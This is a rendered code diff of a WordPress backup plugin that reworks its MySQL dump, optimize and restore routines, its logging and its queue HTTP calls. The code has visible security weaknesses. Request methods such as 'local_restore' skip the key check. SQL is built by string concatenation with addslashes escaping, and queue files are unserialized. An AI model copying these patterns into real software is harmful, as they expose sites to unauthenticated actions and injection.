|
128 |
+
return new $class_name($params);
|
129 |
+
}
|
130 |
+
|
131 |
}
|
132 |
return null;
|
133 |
|
134 |
}
|
135 |
|
136 |
+
|
137 |
public static function getLog()
|
138 |
{
|
139 |
$file_log = self::getTmpDir() . '/log.log';
|
144 |
}
|
145 |
|
146 |
private function connect() {
|
147 |
+
|
148 |
add_option('wpadm_pub_key', $this->pub_key);
|
149 |
$this->result->setResult(WPAdm_Result::WPADM_RESULT_SUCCESS);
|
150 |
+
|
151 |
$sendData['system_data'] = get_system_data();
|
152 |
$data['actApi'] = 'setStats';
|
153 |
$data['site'] = get_option('siteurl');
|
154 |
$data['data'] = wpadm_pack($sendData);
|
155 |
if (!class_exists('WP_Http')) {
|
156 |
+
include_once ABSPATH . WPINC . '/class-http.php';
|
157 |
}
|
158 |
|
159 |
$remote = array();
|
160 |
$remote['body'] = $data;
|
161 |
$remote['timeout'] = 20;
|
162 |
|
163 |
+
$result = wp_remote_post(WPADM_URL_BASE . "/api/", $remote);
|
164 |
}
|
165 |
public static function setPluginDIr($dir)
|
166 |
{
|
172 |
*/
|
173 |
private function auth() {
|
174 |
$this->pub_key = get_option('wpadm_pub_key');
|
175 |
+
$methods_local = array('local_backup', 'send-to-dropbox', 'local_restore', 'local', 'queue_controller', 'local_send_to_s3');
|
176 |
+
if ( in_array($this->request['method'], $methods_local) ) {
|
177 |
return true;
|
178 |
}
|
179 |
+
self::log($this->request['method']);
|
180 |
if (empty($this->pub_key)) {
|
181 |
if ('connect' == $this->request['method']) {
|
182 |
$this->pub_key = $this->request['params']['pub_key'];
|
183 |
} else {
|
184 |
+
$this->getResult()->setError('Activate site in WPAdm.com for work to plugins.');
|
185 |
return false;
|
186 |
}
|
187 |
} elseif ('connect' == $this->request['method']) {
|
214 |
*/
|
215 |
static public function mkdir($dir) {
|
216 |
if(!file_exists($dir)) {
|
217 |
+
@mkdir($dir, 0755);
|
218 |
+
if (!is_dir($dir)) {
|
219 |
+
self::$error = str_replace("&s", $dir, langWPADM::get('Failed to create a file, please check the permissions on the folders "&s".', false) );
|
220 |
+
} else {
|
221 |
+
//todo: права доступа
|
222 |
+
@file_put_contents($dir . '/index.php', '<?php echo "Hello World!"; ');
|
223 |
+
if ( !is_writable($dir . '/index.php') ) {
|
224 |
+
self::$error = str_replace("&s", $dir, langWPADM::get('Failed to create a file, please check the permissions on the folders "&s".', false) );
|
225 |
+
}
|
226 |
+
}
|
227 |
}
|
228 |
+
return self::$error;
|
229 |
}
|
230 |
|
231 |
/**
|
263 |
|
264 |
|
265 |
static public function log($txt, $class='') {
|
266 |
+
if (!empty($txt)) {
|
267 |
+
$log_file = self::getTmpDir() . '/log.log';
|
268 |
+
file_put_contents($log_file, date("Y-m-d H:i:s") ."\t{$class}\t{$txt}\n", FILE_APPEND);
|
269 |
+
}
|
270 |
}
|
271 |
|
272 |
/**
|
283 |
if (is_dir($f)) {
|
284 |
self::rmdir($f);
|
285 |
}
|
286 |
+
if (file_exists($f)) {
|
287 |
+
@unlink($f);
|
288 |
+
}
|
289 |
+
}
|
290 |
+
@rmdir($dir);
|
291 |
+
} elseif (is_file($dir)) {
|
292 |
+
@unlink($dir);
|
293 |
+
}
|
294 |
+
}
|
295 |
+
static function dir_writeble($dir)
|
296 |
+
{
|
297 |
+
$error = self::mkdir($dir);
|
298 |
+
$ret = true;
|
299 |
+
if (empty($dir)) {
|
300 |
+
@file_put_contents($dir . "/test", "Hello World!!!");
|
301 |
+
if (!@is_writable($dir . "/test") && @filesize($dir . "/test") == 0) {
|
302 |
+
$ret = false;
|
303 |
}
|
304 |
+
@unlink($dir . "/test");
|
305 |
}
|
306 |
+
return $ret;
|
307 |
}
|
308 |
}
|
309 |
}
|
modules/class-wpadm-method-class.php
ADDED
@@ -0,0 +1,38 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
|
3 |
+
|
4 |
+
if (!class_exists('WPAdm_Method_Class')) {
|
5 |
+
abstract class WPAdm_Method_Class {
|
6 |
+
/**
|
7 |
+
* @var mixed
|
8 |
+
*/
|
9 |
+
protected $params;
|
10 |
+
|
11 |
+
/**
|
12 |
+
* @var WPAdm_result
|
13 |
+
*/
|
14 |
+
protected $result;
|
15 |
+
|
16 |
+
/**
|
17 |
+
* @param mixed $params
|
18 |
+
*/
|
19 |
+
public function __construct($params) {
|
20 |
+
$this->params = $params;
|
21 |
+
$this->result = new WPAdm_Result();
|
22 |
+
$this->result->setResult(WPAdm_Result::WPADM_RESULT_SUCCESS);
|
23 |
+
$this->result->setError('');
|
24 |
+
}
|
25 |
+
|
26 |
+
abstract function getResult();
|
27 |
+
|
28 |
+
public function isError()
|
29 |
+
{
|
30 |
+
$error = $this->result->getError();
|
31 |
+
return isset($this->result) && !empty( $error );
|
32 |
+
}
|
33 |
+
public function get_results()
|
34 |
+
{
|
35 |
+
return $this->result;
|
36 |
+
}
|
37 |
+
}
|
38 |
+
}
|
modules/class-wpadm-mysqldump.php
CHANGED
@@ -8,222 +8,213 @@ if (!class_exists('WPAdm_Mysqldump')) {
|
|
8 |
public $host = '';
|
9 |
public $user = '';
|
10 |
public $password = '';
|
11 |
-
public $dbh ;
|
|
|
12 |
|
13 |
private function connect($db = '') {
|
14 |
-
WPAdm_Core::log("----------------------------------------------------");
|
15 |
-
WPAdm_Core::log(
|
16 |
-
if (
|
17 |
-
|
18 |
-
}
|
19 |
-
|
20 |
-
|
21 |
-
|
22 |
-
|
23 |
-
}
|
24 |
-
$this->dbh = $link;
|
25 |
-
$this->init_charset($link);
|
26 |
-
$this->set_charset($link);
|
27 |
-
return $link;
|
28 |
-
|
29 |
-
}
|
30 |
-
|
31 |
-
public function set_charset( $link, $charset = null, $collate = null ) {
|
32 |
-
if ( ! isset( $charset ) )
|
33 |
-
$charset = $this->charset;
|
34 |
-
if ( ! isset( $collate ) )
|
35 |
-
$collate = $this->collate;
|
36 |
-
WPAdm_Core::log("MySQL set Charset $charset");
|
37 |
-
if (! empty( $charset ) ) {
|
38 |
-
if ( function_exists( 'mysqli_set_charset' )) {
|
39 |
-
mysqli_set_charset( $link, $charset );
|
40 |
} else {
|
41 |
-
$
|
42 |
-
|
43 |
-
|
44 |
-
|
45 |
-
}
|
46 |
-
|
47 |
-
}
|
48 |
-
}
|
49 |
-
public function init_charset($link)
|
50 |
-
{
|
51 |
-
if ( function_exists('is_multisite') && is_multisite() ) {
|
52 |
-
$this->charset = 'utf8';
|
53 |
-
if ( defined( 'DB_COLLATE' ) && DB_COLLATE ) {
|
54 |
-
$this->collate = DB_COLLATE;
|
55 |
-
} else {
|
56 |
-
$this->collate = 'utf8_general_ci';
|
57 |
-
}
|
58 |
-
} elseif ( defined( 'DB_COLLATE' ) ) {
|
59 |
-
$this->collate = DB_COLLATE;
|
60 |
-
}
|
61 |
-
|
62 |
-
if ( defined( 'DB_CHARSET' ) ) {
|
63 |
-
$this->charset = DB_CHARSET;
|
64 |
-
}
|
65 |
-
|
66 |
-
if ( ( ! ( $link instanceof mysqli ) )
|
67 |
-
|| ( empty( $link ) || ! ( $link instanceof mysqli ) ) ) {
|
68 |
-
return;
|
69 |
-
}
|
70 |
-
|
71 |
-
if ( 'utf8' === $this->charset && $this->has_cap( 'utf8mb4' ) ) {
|
72 |
-
$this->charset = 'utf8mb4';
|
73 |
-
}
|
74 |
-
|
75 |
-
if ( 'utf8mb4' === $this->charset && ( ! $this->collate || stripos( $this->collate, 'utf8_' ) === 0 ) ) {
|
76 |
-
$this->collate = 'utf8mb4_unicode_ci';
|
77 |
-
}
|
78 |
-
}
|
79 |
-
public function has_cap( $db_cap ) {
|
80 |
-
$version = $this->db_version();
|
81 |
-
|
82 |
-
switch ( strtolower( $db_cap ) ) {
|
83 |
-
case 'collation' : // @since 2.5.0
|
84 |
-
case 'group_concat' : // @since 2.7.0
|
85 |
-
case 'subqueries' : // @since 2.7.0
|
86 |
-
return version_compare( $version, '4.1', '>=' );
|
87 |
-
case 'set_charset' :
|
88 |
-
return version_compare( $version, '5.0.7', '>=' );
|
89 |
-
case 'utf8mb4' : // @since 4.1.0
|
90 |
-
if ( version_compare( $version, '5.5.3', '<' ) ) {
|
91 |
-
return false;
|
92 |
}
|
93 |
-
$
|
94 |
-
|
95 |
-
$
|
96 |
-
|
97 |
-
|
98 |
-
|
|
|
|
|
|
|
99 |
}
|
|
|
100 |
}
|
101 |
-
|
102 |
-
return false;
|
103 |
-
}
|
104 |
-
public function db_version() {
|
105 |
-
|
106 |
-
$server_info = mysqli_get_server_info( $this->dbh );
|
107 |
-
|
108 |
-
return preg_replace( '/[^0-9.].*/', '', $server_info );
|
109 |
-
}
|
110 |
-
public function prepare( $query, $args ) {
|
111 |
-
if ( is_null( $query ) )
|
112 |
-
return;
|
113 |
-
|
114 |
-
// This is not meant to be foolproof -- but it will catch obviously incorrect usage.
|
115 |
-
if ( strpos( $query, '%' ) === false ) {
|
116 |
-
_doing_it_wrong( 'wpdb::prepare', sprintf( __( 'The query argument of %s must have a placeholder.' ), 'wpdb::prepare()' ), '3.9' );
|
117 |
-
}
|
118 |
-
|
119 |
-
$args = func_get_args();
|
120 |
-
array_shift( $args );
|
121 |
-
// If args were passed as an array (as in vsprintf), move them up
|
122 |
-
if ( isset( $args[0] ) && is_array($args[0]) )
|
123 |
-
$args = $args[0];
|
124 |
-
$query = str_replace( "'%s'", '%s', $query ); // in case someone mistakenly already singlequoted it
|
125 |
-
$query = str_replace( '"%s"', '%s', $query ); // doublequote unquoting
|
126 |
-
$query = preg_replace( '|(?<!%)%f|' , '%F', $query ); // Force floats to be locale unaware
|
127 |
-
$query = preg_replace( '|(?<!%)%s|', "'%s'", $query ); // quote the strings, avoiding escaped strings like %%s
|
128 |
-
array_walk( $args, array( $this, 'escape_by_ref' ) );
|
129 |
-
return @vsprintf( $query, $args );
|
130 |
}
|
131 |
|
132 |
public function optimize($db) {
|
133 |
-
$
|
134 |
-
|
135 |
-
|
136 |
-
|
137 |
-
|
138 |
-
|
139 |
-
|
140 |
-
|
141 |
-
|
142 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
143 |
}
|
144 |
-
WPAdm_Core::log("Optimize Database Tables was Finished");
|
145 |
-
|
146 |
}
|
147 |
|
148 |
-
public function mysqldump($db, $filename)
|
149 |
-
|
150 |
-
|
151 |
-
|
152 |
-
if (!$result = mysqli_query($link, 'SHOW TABLES')) {
|
153 |
-
$this->setError(mysqli_error($link));
|
154 |
-
};
|
155 |
-
while($row = mysqli_fetch_row($result))
|
156 |
-
{
|
157 |
-
$tables[] = $row[0];
|
158 |
-
}
|
159 |
-
|
160 |
-
//cycle through
|
161 |
-
|
162 |
-
$return = '';
|
163 |
-
$charset = mysqli_get_charset($link);
|
164 |
-
if (isset($charset->charset)) {
|
165 |
-
$return .= "SET NAMES '{$charset->charset}';\n\n";
|
166 |
-
WPAdm_Core::log("SET NAMES Database {$charset->charset};");
|
167 |
-
}
|
168 |
-
foreach($tables as $table)
|
169 |
-
{
|
170 |
-
WPAdm_Core::log("Add a table {$table} in the database dump");
|
171 |
-
mysqli_close($link);
|
172 |
$link = $this->connect($db);
|
173 |
-
|
174 |
-
|
175 |
-
|
176 |
-
$
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
177 |
|
178 |
-
$return.= 'DROP TABLE '.$table.';';
|
179 |
-
if (!$ress = mysqli_query($link, 'SHOW CREATE TABLE ' . $table)) {
|
180 |
-
$this->setError(mysqli_error($link));
|
181 |
-
};
|
182 |
|
183 |
-
|
184 |
-
|
|
|
|
|
|
|
185 |
|
186 |
-
|
187 |
-
|
188 |
-
|
189 |
-
|
190 |
-
$return.= 'INSERT INTO '.$table.' VALUES(';
|
191 |
-
for($j=0; $j<$num_fields; $j++)
|
192 |
-
{
|
193 |
-
//$row[$j] = mb_convert_encoding($row[$j], 'UTF-8', 'auto');
|
194 |
-
$row[$j] = addslashes($row[$j]);
|
195 |
-
$row[$j] = str_replace("\n","\\n",$row[$j]);
|
196 |
-
if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
|
197 |
-
if ($j<($num_fields-1)) { $return.= ','; }
|
198 |
}
|
199 |
-
$
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
200 |
}
|
201 |
}
|
202 |
-
$
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
203 |
}
|
204 |
-
|
205 |
-
mysqli_close($link);
|
206 |
-
$handle = fopen($filename,'w+');
|
207 |
-
fwrite($handle,$return);
|
208 |
-
fclose($handle);
|
209 |
-
WPAdm_Core::log("MySQL of Dump was finished");
|
210 |
-
return true;
|
211 |
}
|
212 |
|
213 |
private function setError($txt)
|
214 |
{
|
215 |
-
//WPAdm_Core::log($txt);
|
216 |
throw new Exception($txt);
|
217 |
}
|
218 |
|
219 |
public function restore($db, $file)
|
220 |
{
|
221 |
$link = $this->connect($db);
|
222 |
-
WPAdm_Core::log(
|
223 |
$fo = fopen($file, "r");
|
224 |
if (!$fo) {
|
225 |
-
WPAdm_Core::log(
|
226 |
-
$this->setError(
|
227 |
return false;
|
228 |
}
|
229 |
$sql = "";
|
@@ -234,17 +225,17 @@ if (!class_exists('WPAdm_Mysqldump')) {
|
|
234 |
if ($char_new !== false && $char_new != "\n") {
|
235 |
$sql .= $char_new;
|
236 |
} else {
|
237 |
-
$ress =
|
238 |
-
if (
|
239 |
-
$this->setError(
|
240 |
-
WPAdm_Core::log(
|
241 |
break;
|
242 |
};
|
243 |
$sql = "";
|
244 |
}
|
245 |
}
|
246 |
}
|
247 |
-
WPAdm_Core::log(
|
248 |
}
|
249 |
}
|
250 |
}
|
8 |
public $host = '';
|
9 |
public $user = '';
|
10 |
public $password = '';
|
11 |
+
public $dbh = null ;
|
12 |
+
public $rows = 1000;
|
13 |
|
14 |
private function connect($db = '') {
|
15 |
+
//WPAdm_Core::log("----------------------------------------------------");
|
16 |
+
//WPAdm_Core::log( langWPADM::get('Connecting to MySQL...' , false) );
|
17 |
+
if (! class_exists('wpdb')) {
|
18 |
+
require_once ABSPATH . '/' . WPINC . '/wp-db.php';
|
19 |
+
}
|
20 |
+
if ($this->dbh === null) {
|
21 |
+
global $wpdb;
|
22 |
+
if (is_object($wpdb)) {
|
23 |
+
$this->dbh = $wpdb;
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
24 |
} else {
|
25 |
+
$this->dbh = new wpdb( $this->user, $this->password, $db, $this->host );
|
26 |
+
$errors = $this->dbh->last_error;
|
27 |
+
if ($errors) {
|
28 |
+
$this->setError( langWPADM::get('MySQL Connect failed: ' , false) . $errors);
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
29 |
}
|
30 |
+
if (isset($this->dbh->error->errors) && count($this->dbh->error->errors) > 0 ) {
|
31 |
+
$error = '';
|
32 |
+
foreach($this->dbh->error->errors as $key => $err) {
|
33 |
+
if ($key === 'db_connect_fail') {
|
34 |
+
$error .= "Connect fail: Check the number of connections to the database or \n";
|
35 |
+
}
|
36 |
+
$error .= strip_tags( implode("\n", ($err) ) );
|
37 |
+
}
|
38 |
+
$this->setError( $error );
|
39 |
}
|
40 |
+
}
|
41 |
}
|
42 |
+
return $this->dbh;
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
43 |
}
|
44 |
|
45 |
public function optimize($db) {
|
46 |
+
$proc_data = WPAdm_Running::getCommandResultData('db');
|
47 |
+
if (!isset($proc_data['optimize'])) {
|
48 |
+
$link = $this->connect($db);
|
49 |
+
WPAdm_Core::log( langWPADM::get('Optimize Database Tables was started' , false) );
|
50 |
+
$n = $link->query('SHOW TABLES');
|
51 |
+
$result = $link->last_result;
|
52 |
+
if (!empty( $link->last_error ) && $n > 0) {
|
53 |
+
$this->setError($link->last_error);
|
54 |
+
} else {
|
55 |
+
for($i = 0; $i < $n; $i++ ) {
|
56 |
+
$res = array_values( get_object_vars( $result[$i] ) );
|
57 |
+
$proc_data = WPAdm_Running::getCommandResultData('db');
|
58 |
+
if (!isset($proc_data['optimize_table'][$res[0]])) {
|
59 |
+
$link->query('OPTIMIZE TABLE '. $res[0]);
|
60 |
+
if (!empty( $link->last_error ) ) {
|
61 |
+
$tables = isset($proc_data['optimize_table']) ? $proc_data['optimize_table'] : array();
|
62 |
+
$tables[$res[0]] = 1;
|
63 |
+
$proc_data['optimize_table'] = $tables;
|
64 |
+
WPAdm_Running::setCommandResultData('db', $proc_data);
|
65 |
+
$log = str_replace('%s', $res[0], langWPADM::get('Error to Optimize Table `%s`' , false) );
|
66 |
+
WPAdm_Core::log($log);
|
67 |
+
} else {
|
68 |
+
$log = str_replace('%s', $res[0], langWPADM::get('Optimize Table `%s` was successfully' , false) );
|
69 |
+
WPAdm_Core::log($log);
|
70 |
+
}
|
71 |
+
}
|
72 |
+
}
|
73 |
+
WPAdm_Core::log( langWPADM::get('Optimize Database Tables was Finished' , false) );
|
74 |
+
$proc_data = WPAdm_Running::getCommandResultData('db');
|
75 |
+
$proc_data['optimize'] = true;
|
76 |
+
WPAdm_Running::setCommandResultData('db', $proc_data);
|
77 |
+
}
|
78 |
}
|
|
|
|
|
79 |
}
|
80 |
|
81 |
+
public function mysqldump($db, $filename)
|
82 |
+
{
|
83 |
+
$proc_data = WPAdm_Running::getCommandResultData('db');
|
84 |
+
if (!isset($proc_data['mysqldump'])) {
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
85 |
$link = $this->connect($db);
|
86 |
+
WPAdm_Core::log( langWPADM::get('MySQL of Dump was started' , false) );
|
87 |
+
$tables = array();
|
88 |
+
$n = $link->query('SHOW TABLES');
|
89 |
+
$result = $link->last_result;
|
90 |
+
if (!empty( $link->last_error )) {
|
91 |
+
$this->setError($link->last_error);
|
92 |
+
return false;
|
93 |
+
}
|
94 |
+
if ($link->last_result === null) {
|
95 |
+
/* foreach($link->error->errors as $key => $errors) {
|
96 |
+
if ($key == db_connect_fail)
|
97 |
+
}*/
|
98 |
+
$this->setError(print_r(implode("\n", $link->error->errors), 1));
|
99 |
+
return false;
|
100 |
+
}
|
101 |
+
for($i = 0; $i < $n; $i++ ) {
|
102 |
+
$row = array_values( get_object_vars( $result[$i] ) );
|
103 |
+
$tables[] = $row[0];
|
104 |
+
}
|
105 |
+
|
106 |
+
foreach($tables as $table) {
|
107 |
+
$return = '';
|
108 |
+
$proc_data = WPAdm_Running::getCommandResultData('db');
|
109 |
+
if (!isset($proc_data['mysqldump_table'][$table])) {
|
110 |
|
|
|
|
|
|
|
|
|
111 |
|
112 |
+
$result = $link->last_result;
|
113 |
+
if (!empty( $link->last_error ) && $n > 0) {
|
114 |
+
$this->setError($link->last_error);
|
115 |
+
}
|
116 |
+
$return.= 'DROP TABLE IF EXISTS ' . $table . ';';
|
117 |
|
118 |
+
$ress = $link->query('SHOW CREATE TABLE ' . $table);
|
119 |
+
$result2 = $link->last_result;
|
120 |
+
if (!empty( $link->last_error ) && $n > 0) {
|
121 |
+
$this->setError($link->last_error);
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
122 |
}
|
123 |
+
$row2 = array_values( get_object_vars( $result2[0] ) );
|
124 |
+
$return.= "\n\n".$row2[1].";\n\n";
|
125 |
+
|
126 |
+
file_put_contents($filename, $return, FILE_APPEND);
|
127 |
+
$proc_data = WPAdm_Running::getCommandResultData('db');
|
128 |
+
$proc_data['mysqldump_table'][$table] = 1;
|
129 |
+
WPAdm_Running::setCommandResultData('db', $proc_data);
|
130 |
+
$log = str_replace('%s', $table, langWPADM::get('Add a table "%s" in the database dump' , false) );
|
131 |
+
WPAdm_Core::log( $log );
|
132 |
+
}
|
133 |
+
$while = true;
|
134 |
+
while($while) {
|
135 |
+
$table_db = WPAdm_Running::getCommandResultData('tabledb');
|
136 |
+
if (isset($table_db[$table])) {
|
137 |
+
if (isset($table_db[$table]['work']) && $table_db[$table]['work'] == true) {
|
138 |
+
$from = $table_db[$table]['from']; // value from
|
139 |
+
$to = $table_db[$table]['to']; // value to
|
140 |
+
}
|
141 |
+
} else {
|
142 |
+
$from = 0;
|
143 |
+
$to = $this->rows;
|
144 |
+
}
|
145 |
+
if (isset($from) && !empty($to) && $from >= 0 && $to >= 0) {
|
146 |
+
unset($link);
|
147 |
+
$link = $this->connect($db);
|
148 |
+
$num_fields = $link->query( 'SELECT * FROM ' . $table . " LIMIT {$from}, {$to}" );
|
149 |
+
if ($num_fields > 0) {
|
150 |
+
|
151 |
+
$result2 = $link->last_result;
|
152 |
+
for ($i = 0; $i < $num_fields; $i++) {
|
153 |
+
$return = '';
|
154 |
+
$row = array_values( get_object_vars( $result2[$i] ) );
|
155 |
+
//WPAdm_Core::log('row' . print_r($row, 1));
|
156 |
+
$rows_num = count($row);
|
157 |
+
if ($rows_num > 0) {
|
158 |
+
$return.= 'INSERT INTO ' . $table . ' VALUES(';
|
159 |
+
for($j=0; $j < $rows_num; $j++) {
|
160 |
+
$row[$j] = addslashes($row[$j]);
|
161 |
+
$row[$j] = str_replace("\n","\\n",$row[$j]);
|
162 |
+
if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
|
163 |
+
if ($j<($rows_num-1)) { $return.= ','; }
|
164 |
+
}
|
165 |
+
$return .= ");\n";
|
166 |
+
file_put_contents($filename, $return, FILE_APPEND);
|
167 |
+
$from += 1;
|
168 |
+
$table_db[$table]['from'] = $from;
|
169 |
+
$table_db[$table]['to'] = $to;
|
170 |
+
$table_db[$table]['work'] = true;
|
171 |
+
WPAdm_Running::setCommandResultData('tabledb', $table_db);
|
172 |
+
|
173 |
+
}
|
174 |
+
|
175 |
+
}
|
176 |
+
$log = str_replace(array('%s', '%from%', '%to%'), array($table, $from, $to), langWPADM::get('Add a table rows "%s" in the database dump from %from% to %to%' , false) );
|
177 |
+
WPAdm_Core::log( $log );
|
178 |
+
} else {
|
179 |
+
$while = false;
|
180 |
+
$table_db[$table]['work'] = false;
|
181 |
+
WPAdm_Running::setCommandResultData('tabledb', $table_db);
|
182 |
+
}
|
183 |
+
} else {
|
184 |
+
$while = false;
|
185 |
+
$table_db[$table]['work'] = false;
|
186 |
+
WPAdm_Running::setCommandResultData('tabledb', $table_db);
|
187 |
+
}
|
188 |
+
}
|
189 |
+
if (!isset($proc_data['mysqldump_table'][$table])) {
|
190 |
+
$return ="\n\n\n";
|
191 |
+
file_put_contents($filename, $return, FILE_APPEND);
|
192 |
}
|
193 |
}
|
194 |
+
unset($link);
|
195 |
+
WPAdm_Core::log( langWPADM::get('MySQL of Dump was finished' , false) );
|
196 |
+
$proc_data = WPAdm_Running::getCommandResultData('db');
|
197 |
+
$proc_data['mysqldump'] = true;
|
198 |
+
WPAdm_Running::setCommandResultData('db', $proc_data);
|
199 |
+
return true;
|
200 |
+
} else {
|
201 |
+
return false;
|
202 |
}
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
203 |
}
|
204 |
|
205 |
private function setError($txt)
|
206 |
{
|
|
|
207 |
throw new Exception($txt);
|
208 |
}
|
209 |
|
210 |
public function restore($db, $file)
|
211 |
{
|
212 |
$link = $this->connect($db);
|
213 |
+
WPAdm_Core::log( langWPADM::get('Restore Database was started' , false) );
|
214 |
$fo = fopen($file, "r");
|
215 |
if (!$fo) {
|
216 |
+
WPAdm_Core::log( langWPADM::get('Error in open file dump' , false) );
|
217 |
+
$this->setError( langWPADM::get('Error in open file dump' , false) );
|
218 |
return false;
|
219 |
}
|
220 |
$sql = "";
|
225 |
if ($char_new !== false && $char_new != "\n") {
|
226 |
$sql .= $char_new;
|
227 |
} else {
|
228 |
+
$ress = $link->query($sql);
|
229 |
+
if (!empty( $link->last_error ) && $n > 0) {
|
230 |
+
$this->setError($link->last_error);
|
231 |
+
WPAdm_Core::log(langWPADM::get('MySQL Error: ' , false) . $link->last_error);
|
232 |
break;
|
233 |
};
|
234 |
$sql = "";
|
235 |
}
|
236 |
}
|
237 |
}
|
238 |
+
WPAdm_Core::log(langWPADM::get('Restore Database was finished' , false));
|
239 |
}
|
240 |
}
|
241 |
}
|
modules/class-wpadm-queue.php
CHANGED
@@ -33,12 +33,15 @@ if (!class_exists('WPAdm_Queue')) {
|
|
33 |
private $id;
|
34 |
|
35 |
private $error;
|
|
|
|
|
36 |
|
37 |
public function __construct($id) {
|
38 |
$this->id = $id;
|
39 |
}
|
40 |
|
41 |
public function add(WPAdm_Command_Context $context) {
|
|
|
42 |
$this->contexts[] = $context;
|
43 |
return $this;
|
44 |
}
|
@@ -64,7 +67,6 @@ if (!class_exists('WPAdm_Queue')) {
|
|
64 |
$host = $pu['host'];
|
65 |
$path = isset($pu['path']) ? $pu['path'] . "/" : "/" ;
|
66 |
|
67 |
-
//WPAdm_Core::log('execute on host ' . $host);
|
68 |
$data = array(
|
69 |
'method' => 'queue_controller',
|
70 |
'params' => array(
|
@@ -86,6 +88,8 @@ if (!class_exists('WPAdm_Queue')) {
|
|
86 |
curl_setopt($curl, CURLOPT_POST, true);
|
87 |
curl_setopt($curl, CURLOPT_POSTFIELDS, $data);
|
88 |
curl_setopt($curl, CURLOPT_TIMEOUT, 10);
|
|
|
|
|
89 |
$res = curl_exec($curl);
|
90 |
curl_close($curl);
|
91 |
return $this->wait_result();
|
@@ -97,7 +101,7 @@ if (!class_exists('WPAdm_Queue')) {
|
|
97 |
fwrite($socket,"Content-type: application/x-www-form-urlencoded\r\n");
|
98 |
fwrite($socket,"Content-length:".strlen($data)."\r\n");
|
99 |
fwrite($socket,"Accept:*/*\r\n");
|
100 |
-
fwrite($socket,"User-agent:
|
101 |
fwrite($socket,"Connection:Close\r\n");
|
102 |
fwrite($socket,"\r\n");
|
103 |
fwrite($socket,"$data\r\n");
|
@@ -118,21 +122,33 @@ if (!class_exists('WPAdm_Queue')) {
|
|
118 |
}
|
119 |
if (!file_exists($done_file)) {
|
120 |
$this->error = 'No result of the command';
|
121 |
-
return false;
|
122 |
} else {
|
123 |
$queue = unserialize(file_get_contents($done_file));
|
124 |
if (isset($queue['contexts'][0])) {
|
125 |
$this->error = $queue['contexts'][0]->getError();
|
126 |
-
return false;
|
127 |
}
|
128 |
}
|
129 |
if (file_exists($done_file)) {
|
130 |
unlink($done_file);
|
131 |
}
|
|
|
|
|
|
|
132 |
return true;
|
133 |
}
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
134 |
|
135 |
public function save() {
|
|
|
|
|
136 |
$file = WPAdm_Core::getTmpDir() . '/' . $this->id. '.queue';
|
137 |
$txt = serialize(
|
138 |
array(
|
33 |
private $id;
|
34 |
|
35 |
private $error;
|
36 |
+
|
37 |
+
private $user_agent = 'dropbox-backup user-agent';
|
38 |
|
39 |
public function __construct($id) {
|
40 |
$this->id = $id;
|
41 |
}
|
42 |
|
43 |
public function add(WPAdm_Command_Context $context) {
|
44 |
+
ini_set("memory_limit", "256M");
|
45 |
$this->contexts[] = $context;
|
46 |
return $this;
|
47 |
}
|
67 |
$host = $pu['host'];
|
68 |
$path = isset($pu['path']) ? $pu['path'] . "/" : "/" ;
|
69 |
|
|
|
70 |
$data = array(
|
71 |
'method' => 'queue_controller',
|
72 |
'params' => array(
|
88 |
curl_setopt($curl, CURLOPT_POST, true);
|
89 |
curl_setopt($curl, CURLOPT_POSTFIELDS, $data);
|
90 |
curl_setopt($curl, CURLOPT_TIMEOUT, 10);
|
91 |
+
curl_setopt($curl, CURLOPT_USERAGENT, $this->user_agent);
|
92 |
+
|
93 |
$res = curl_exec($curl);
|
94 |
curl_close($curl);
|
95 |
return $this->wait_result();
|
101 |
fwrite($socket,"Content-type: application/x-www-form-urlencoded\r\n");
|
102 |
fwrite($socket,"Content-length:".strlen($data)."\r\n");
|
103 |
fwrite($socket,"Accept:*/*\r\n");
|
104 |
+
fwrite($socket,"User-agent:" . $this->user_agent. "\r\n");
|
105 |
fwrite($socket,"Connection:Close\r\n");
|
106 |
fwrite($socket,"\r\n");
|
107 |
fwrite($socket,"$data\r\n");
|
122 |
}
|
123 |
if (!file_exists($done_file)) {
|
124 |
$this->error = 'No result of the command';
|
|
|
125 |
} else {
|
126 |
